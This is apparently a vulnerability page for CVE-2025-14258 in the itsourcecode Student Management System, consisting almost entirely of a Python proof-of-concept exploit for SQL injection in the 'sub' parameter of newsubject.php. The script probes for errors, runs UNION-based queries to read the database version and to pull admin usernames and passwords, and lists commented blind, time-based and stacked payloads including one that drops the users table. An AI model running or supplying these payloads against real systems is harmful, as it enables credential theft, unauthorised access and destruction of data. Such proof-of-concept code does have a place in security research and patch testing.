CVE-2025-14258 itsourcecode学生管理系统newsubject.php SQL注入漏洞

import requests import sys # CVE-2025-14258 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # Vulnerable Endpoint: /newsubject.php # Vulnerable Parameter: sub def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in sub parameter """ target = target_url.rstrip('/') + '/newsubject.php' # Payload for testing SQL injection # Basic test: single quote to trigger SQL error data = { 'sub': payload } try: response = requests.post(target, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def test_union_based_injection(target_url): """ Test UNION-based SQL injection to extract database info """ # Payload to test UNION injection and get database version union_payload = "1' UNION SELECT NULL,version(),user(),database()-- -" result = exploit_sqli(target_url, union_payload) return result def extract_admin_credentials(target_url): """ Extract admin credentials from database Note: Table/column names may vary, adjust based on application """ # Attempt to extract admin username and password # Common table names: admin, users, administrator, login # Common column names: username, password, user, pass, admin_name, admin_pass extract_payload = "1' UNION SELECT NULL,username,password,NULL FROM admin-- -" result = exploit_sqli(target_url, extract_payload) return result if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-14258.py <target_url>") print("Example: python cve-2025-14258.py http://target.com/student") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-14258 on {target}") print("[*] Testing basic SQL injection...") basic_result = exploit_sqli(target, "'") if "error" in basic_result.lower() or "sql" in basic_result.lower(): print("[+] Potential SQL injection detected!") print("[*] Testing UNION-based injection...") union_result = test_union_based_injection(target) print(union_result) # Additional payloads for reference: # Boolean-based blind injection: # payload = "1' AND 1=1-- -" # True condition # payload = "1' AND 1=2-- -" # False condition # Time-based blind injection: # payload = "1' AND SLEEP(5)-- -" # payload = "1' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -" # Stacked queries (if supported): # payload = "1'; DROP TABLE users;-- -"